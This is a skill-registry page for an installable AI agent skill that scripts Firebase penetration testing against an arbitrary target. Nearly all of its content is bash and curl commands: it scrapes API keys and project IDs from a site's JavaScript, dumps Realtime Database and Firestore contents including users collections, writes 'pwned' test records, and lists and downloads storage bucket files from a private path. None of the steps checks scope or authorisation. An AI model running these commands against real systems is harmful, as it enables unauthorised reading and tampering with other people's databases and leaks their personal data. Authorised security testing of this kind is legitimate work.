f-4alone/oh-my-open-pentest-qwen/tech-firebase

Claude Code and agent skill by f-4alone/oh-my-open-pentest-qwen

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Firebase security testing — Firestore/RTDB unauthenticated read/write, Firebase Auth bypass, Storage bucket enumeration, API key exposure, Cloud Functions SSRF. Triggers: 'firebase', 'firestore', 'firebase security', 'firebase pentest', 'firebase rtdb', 'firebase auth bypass', 'firebase storage', 'firebase api key', 'firebase misconfiguration'.

Install

npx vskill@latest install f-4alone/oh-my-open-pentest-qwen/tech-firebase

SKILL.md

The same SKILL.md was published earlier as yoraexe/ceobe/tech-firebase.

Firebase Security Testing

Test Firebase for public database access and misconfigured rules.


Phase 1: API Key & Config Discovery

bash
TARGET="https://TARGET"
# Extract Firebase config from JS:
curl -s "$TARGET/" | grep -oE '"apiKey":"[^"]+"' | tee output/firebase_apikey.txt
curl -s "$TARGET/static/js/main.chunk.js" | grep -oE '"projectId":"[^"]+"' | tee output/firebase_project.txt
# Common locations:
curl -s "$TARGET/firebase-config.js" 2>/dev/null
curl -s "$TARGET/__/firebase/init.json" 2>/dev/null | jq . | tee output/firebase_init.txt
curl -s "$TARGET/__/firebase/init.js" 2>/dev/null | tee output/firebase_init_js.txt
# Extract from JS files:
gau "$TARGET" | grep "\.js" | while IFS= read -r JSURL; do
curl -s "$JSURL" | grep -oE '"projectId":"[^"]+"|"apiKey":"[^"]+"|"storageBucket":"[^"]+"'
done | sort -u | tee output/firebase_config.txt

Phase 2: Realtime Database (RTDB) Access

bash
PROJECT_ID="your-project"
# Test unauthenticated read:
curl -s "https://$PROJECT_ID-default-rtdb.firebaseio.com/.json" | jq . | head -50 | tee output/rtdb_root.txt
# Dump all data:
curl -s "https://$PROJECT_ID-default-rtdb.firebaseio.com/.json?shallow=true" | jq 'keys' | tee output/rtdb_keys.txt
# Access specific collection:
curl -s "https://$PROJECT_ID-default-rtdb.firebaseio.com/users.json" | jq . | tee output/rtdb_users.txt
# Write test (if rules allow):
curl -s -X PUT "https://$PROJECT_ID-default-rtdb.firebaseio.com/test.json" \
-H "Content-Type: application/json" \
-d '"pwned"' | tee output/rtdb_write_test.txt

Phase 3: Firestore Enumeration

bash
PROJECT_ID="your-project"
API_KEY="FIREBASE_API_KEY"
# List collections via REST API:
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents?key=$API_KEY" | \
jq '.documents[].name' | tee output/firestore_collections.txt
# Read collection:
curl -s "https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?key=$API_KEY" | \
jq '.documents[]' | tee output/firestore_users.txt
# Write document (test write permissions):
curl -s -X POST \
"https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/pwned?key=$API_KEY" \
-H "Content-Type: application/json" \
-d '{"fields": {"message": {"stringValue": "access_test"}}}' | jq .name

Phase 4: Storage Bucket Enumeration

bash
PROJECT_ID="your-project"
STORAGE_BUCKET="$PROJECT_ID.appspot.com"
# List bucket contents:
curl -s "https://firebasestorage.googleapis.com/v0/b/$STORAGE_BUCKET/o" | \
jq '.items[].name' | tee output/storage_files.txt
# Download file:
TOKEN=$(curl -s "https://firebasestorage.googleapis.com/v0/b/$STORAGE_BUCKET/o/private%2Fdata.json" | jq -r '.downloadTokens')
curl -s "https://firebasestorage.googleapis.com/v0/b/$STORAGE_BUCKET/o/private%2Fdata.json?alt=media&token=$TOKEN" | jq .
# GSUTIL (if gcloud configured):
gsutil ls "gs://$STORAGE_BUCKET/" 2>/dev/null | tee output/gsutil_storage.txt

Output

Save to output/:

  • firebase_config.txt — extracted Firebase config
  • rtdb_root.txt — realtime database root dump
  • firestore_users.txt — Firestore users collection

Next Phase

→ vuln-sensitive-exposure for exposed PII → vuln-auth-workflow if Firebase Auth is misconfigured

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository forks
1
7-day trend score
0

Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/f-4alone/oh-my-open-pentest-qwen/tech-firebase/badge)](https://verified-skill.com/skills/f-4alone/oh-my-open-pentest-qwen/tech-firebase)

Something wrong with this skill or its page? Tell us.